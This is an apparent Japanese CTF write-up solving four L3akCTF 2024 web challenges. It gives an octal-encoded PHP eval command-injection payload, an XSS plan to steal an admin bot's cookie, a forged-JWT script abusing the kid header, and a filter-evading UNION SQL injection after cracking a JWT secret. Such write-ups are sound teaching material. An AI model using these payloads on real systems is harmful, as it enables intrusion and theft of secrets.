L3akCTF 2024 Writeup(Web)

ctftime.org

目次

  • [Web] Simple calculator
  • [Web] I'm the CEO
  • [Web] BatBot
  • [Web] PEPE

[Web] Simple calculator

問題文のリンクをクリックすると以下のような画面。

よくわからないので添付されたソース(index.php)を見ると、クエリパラメータformulaに入れた文字列をevalしてくれるみたい。

<?php

function popCalc() {
    if (isset($_GET['formula'])) {
        $formula = $_GET['formula'];
        if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
            return 'Try Harder !';
        }
        try {
            eval('$calc = ' . $formula . ';');
            return isset($calc) ? $calc : '?';
        } catch (ParseError $err) {
            return 'Error';
        }
    }
}

$result = popCalc();
echo "Result: " . $result;

?>

試しにformula=3*2とすると計算結果(evalの結果)が出る。

flagはどこなんだろうと思って添付のDockerfileを見るとこのような記述がある。 flag-{ランダムな文字列}.txtというファイルが公開されているということになる。

RUN mv /var/www/html/flag.txt /var/www/html/flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1).txt

このflagのファイル名を知る必要がある。 コマンドインジェクションして$ lsとかしたいなあと思う。

index.phpによると、クエリパラメータformulaは変数formulaに格納された後、以下のようにしてevalにかけられる。 そのあと、変数calcの中身がブラウザに表示される。

eval('$calc = ' . $formula . ';');
return isset($calc) ? $calc : '?';

なので、クエリパラメータformulaexec("ls")を入れたいなあと思う。 でも無理。なぜならformulaにアルファベットを含めると弾かれるから。

        if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
            return 'Try Harder !';
        }

うーんと思って適当に調べてみると下記のページが見つかる。

php filter bypass - no letters or quotes · GitHub

この方法に従い、exec("ls | grep flag")という文字列*1を変換。

(%3C%3C%3C_%0A%5C145%5C170%5C145%5C143%0A_)(%3C%3C%3C_%0A%5C154%5C163%5C40%5C174%5C40%5C147%5C162%5C145%5C160%5C40%5C146%5C154%5C141%5C147%0A_)

これをクエリパラメータformulaの値にセットしてリクエストしてやるとflagファイルの名前が出てくる。 これにアクセスすればフラグ文字列を獲得できる。

[Web] I'm the CEO

二つのページが与えられる。 一つはメモアプリ。もう一つはAdmin Bot(URLを与えるとそこにアクセスしてくれるbot)。 Admin BotがあるということはXSSかな?と思う。

メモアプリはこんな感じ。 テキストボックスにメモを入力してSave Noteを入力すると、 メモ内容が表示される(メモが保存される)。

ちなみにメモ内容が表示されるページ(/view/{UUID})はログインしていないと見られないが、 APIの対応するエンドポイント(/api/note/{同じUUID})にリクエストを投げれば未認証でも内容を見れてしまう*2

したがって、XSS文字列をメモとして保存して、そのメモに対応する/api/note/{UUID}にAdmin BotがアクセスすればXSSが成功しそう。

そういえば、flagはどこにあるんだろう?と思ってみてみるとbot/bot.jsに以下の記述がある。 Admin Botはリクエストするとき、Cookieにflag文字列をセットしていることがわかる。

    bot: async (urlToVisit) => {
        const browser = await initBrowser;
        const context = await browser.createBrowserContext()
        try {
            // Goto main page
            const page = await context.newPage();

            // Set Flag
            await page.setCookie({
                name: "flag",
                httpOnly: false,
                value: CONFIG.APPFLAG, ← これ!
                domain: CONFIG.APPHOST
            })
            let cookies = await page.cookies()
            console.log(cookies);
            // Visit URL from user
            console.log(`bot visiting ${urlToVisit}`)
            await page.goto(urlToVisit, {
                waitUntil: 'networkidle2'
            });
            await sleep(8000);
            cookies = await page.cookies()
            console.log(cookies);

というわけで、XSSによってAdmin BotCookieの内容をどこかに送信させればいけそう。 今回はRequest CatcherCookieを送信させることにする。

下記XSS文字列をSave Noteする。

その後、http://192.168.64.3:8080/api/note/{UUID}*3をAdmin Botへ入力し、アクセスさせる。

そうするとRequest Cacherへflag文字列が送られてくる。

[Web] BatBot

L3rkCTFのdiscordサーバーに"BatBot"というbotアカウントがいる。 こいつにDMを送ると、トークンを発行してくれる。 !generate {ユーザー名}で発行してくれる。 !verifyコマンドでトークンを認証してもらうこともできる。

添付されているBatBotのソース(bot.py)を見てみると、

  • 発行されるトークンはJWTであること
  • JWTに含まれるroleの値がVIPトークンについて認証が成功すると、flagが獲得できる

ということが分かる。

@bot.command(name='verify')
async def authenticate(ctx, *, token=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        else:
            result = verify_jwt(token)
            print(ctx.author)
            print(result)
            if isinstance(result, dict):
                username = result.get('username')
                role = result.get('role')
                if username and role=='VIP':
                    await ctx.send(f'Welcome Sir! Here is our secret {flag}')
                elif username:
                    await ctx.send(f'Welcome {username}!')
                else:
                    await ctx.send('Authentication failed. Please try again.')
            else:
                await ctx.send('Authentication failed.')
    except:
        await ctx.send('Authentication failed.')

したがって、JWTに含まれるroleの値をVIPに改ざんしてBatBotに認証させたい、となる。

トークンをJSON Web Tokens - jwt.io でデコードさせてみる。

確かにペイロードの値にroleが存在している。 ただしalgHS256なので、秘密鍵が分からないと改ざんできない。

JWTの検証のために使われる秘密鍵は、kidで指定されているファイルに含まれている。

def verify_jwt(token):
    try:
        header = jwt.get_unverified_header(token)
        kid = header['kid']
        assert ("/" not in kid)
        with open(kid, 'r') as file:
            secret_key = file.read().strip()
        decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
        return decoded_token
    except Exception as e:
        return str(e)

このようにkid秘密鍵の場所が指定されている場合、kid/dev/nullを設定することで検証の際の秘密鍵を空文字にすることができる。 その上で攻撃者は秘密鍵を空文字とすれば、トークンを改ざんすることができる(生成に使われた際の秘密鍵と認証に使われる際の秘密鍵が同一なので)。

ただし、今回はkid/が含まれる際には認証が失敗するようになっている(↑のコードの5行目参照)。

そこで今回はkidbot.pyを指定してしまう。 その上で、秘密鍵としてbot.pyの内容を設定し、トークンを生成してしまう。

bot.pyトークン生成時のコードを一部改変し、トークンを生成。roleの値はVIPに改ざんしておく。

import jwt
import os

SECRET_KEY_FILE_PATH = 'bot.py'

def generate_token(username=None):
    with open(SECRET_KEY_FILE_PATH, 'r') as file:
        secret_key = file.read().strip()
    headers = {
        'kid': SECRET_KEY_FILE_PATH
    }
    token = jwt.encode({'username': username,'role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers)
    return token

token = generate_token('awk138')
print(token)

BatBotに対して!verify {生成したトークン}というコマンドを送ってやると、flag文字列を吐いてくれる。

[Web] PEPE

お題のWebサイトで、ユーザー登録してログインするとこのような画面(/dashboard)になる。

この/dashboardにアクセスする際、Cookieに設定されたtokenの値で認証済みかを判定している。

@app.route('/dashboard')
def dashboard():
    
    token = request.cookies.get('token')
    if not token:
        return render_template('login.html', error='Please login to access this page')
    # my code
    decoded_token = jwt.decode(token, secret, algorithms=['HS256'])
    
    username = decoded_token.get('username')
    username=username.lower()
    filters=[">", "+","=", "<","//", "|","'1", " 1", " true", "'true", " or", "'or", "/or",";", " ", " " ," and", "'and", "/and", "'like", " like", "%00", "null", "admin'","/like", "'where", " where", "/where"]
    passed = next(
            (
                i
                for i in filters
                if i in username
            ),
            None,
        )

    if passed:
        return render_template('login.html', error='Invalid username or password')

    if not token:
        return redirect('/login')
    username = verify_jwt(token, 'HS256')

    if username:
        conn = sqlite3.connect("challenge.db")
        cursor = conn.cursor()
        query = f"SELECT fortune FROM users WHERE username='{username}';"
        result = cursor.execute(query)
        row = result.fetchone()
        if row:
            query = row[0].replace("\\n", "\n").replace("('", "").replace("',)", "")
            conn.close()
            return render_template('dashboard.html', fortunes=query)
        else:
            conn.close()
            return render_template('login.html', error='Invalid username or password')
    else:
        return redirect('/login')

tokenの値は(また)JWT。

JWTに含まれるusernameの値が、DBテーブルuserに含まれていれば認証済みと判定される。

query = f"SELECT fortune FROM users WHERE username='{username}';"

ブレースホルダーも使われていないので、明らかにSQLインジェクションできそうな感じ。

ちなみにflagはDBテーブルflagに含まれている。

flag = os.environ.get('FLAG', 'L3AK{this_is_a_fake_flag}')

conn = sqlite3.connect("challenge.db")
cursor = conn.cursor()

cursor.execute("CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL, password TEXT NOT NULL, fortune TEXT NOT NULL);")

cursor.execute("CREATE TABLE IF NOT EXISTS flag (flag TEXT);")

if not cursor.execute("SELECT * FROM flag;").fetchone():
    cursor.execute(f"INSERT INTO flag (flag) VALUES ('{flag}');")

このため、username' UNION SELECT flag FROM flag --としてやれば、flag文字列を抽出できるのではと思う。

SELECT fortune FROM users WHERE username='' UNION SELECT flag FROM flag --';

しかし、このようにSQLインジェクションするためには障壁が二つある。

  1. JWTに含まれるusernameの値を改ざんする必要がある
  2. フィルターが仕込まれており、usernameに特定の文字列が入っていると認証が失敗する

1の「JWTに含まれるusernameの値を改ざんする必要がある」については実は簡単で、John the Ripperなどを使えばJWTの秘密鍵を暴くことができる。

$ john token.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
secret           (?)     
1g 0:00:00:00 DONE 2/3 (2024-05-25 20:55) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..faithfaith
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

ということで、秘密鍵secretと分かる。 usernameの値は改ざんし放題になる。

2の「フィルターが仕込まれており、usernameに特定の文字列が入っていると認証が失敗する」について。 フィルター対象の文字列は以下の通り。

filters=[">", "+","=", "<","//", "|","'1", " 1", " true", "'true", " or", "'or", "/or",";", " ", " " ," and", "'and", "/and", "'like", " like", "%00", "null", "admin'","/like", "'where", " where", "/where"]

username' UNION SELECT flag FROM flag --を設定したい身としてはwhitespaceが対象となっているのが痛い。 いろいろと調べてみるとwhitespaceは/**/と置換できるらしいことが分かる。 なので、こうしてみる。

'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag/**/--/**/

この文字列をusernameとして設定し、トークンを生成する。

Burp Suiteなどでtokenの値を改ざんして/dashboardへリクエストを送る。 そうするとレスポンスにflag文字列が含まれている。

と、ここまで書いたが自分はこの問題を解けなかった。 usernameにこう設定すべきところを、

'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag/**/--/**/

こうしていたため(--がない)。最後まで全く気が付かなかった。

'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag

凡ミス。反省。

*1:最初はexec("ls")で十分かと思っていたが、結果が一行しか表示されずflagファイルの名前が出てこなかった。したがってgrepすることで解決させた。

*2:このあたりは添付されているソースの"app/main.go"や"bot/bot.js"あたりを見るとわかる

*3:エラーが出るので分かるのだが、IPアドレスは指定されたプライベートIPアドレスでないと受け付けてくれない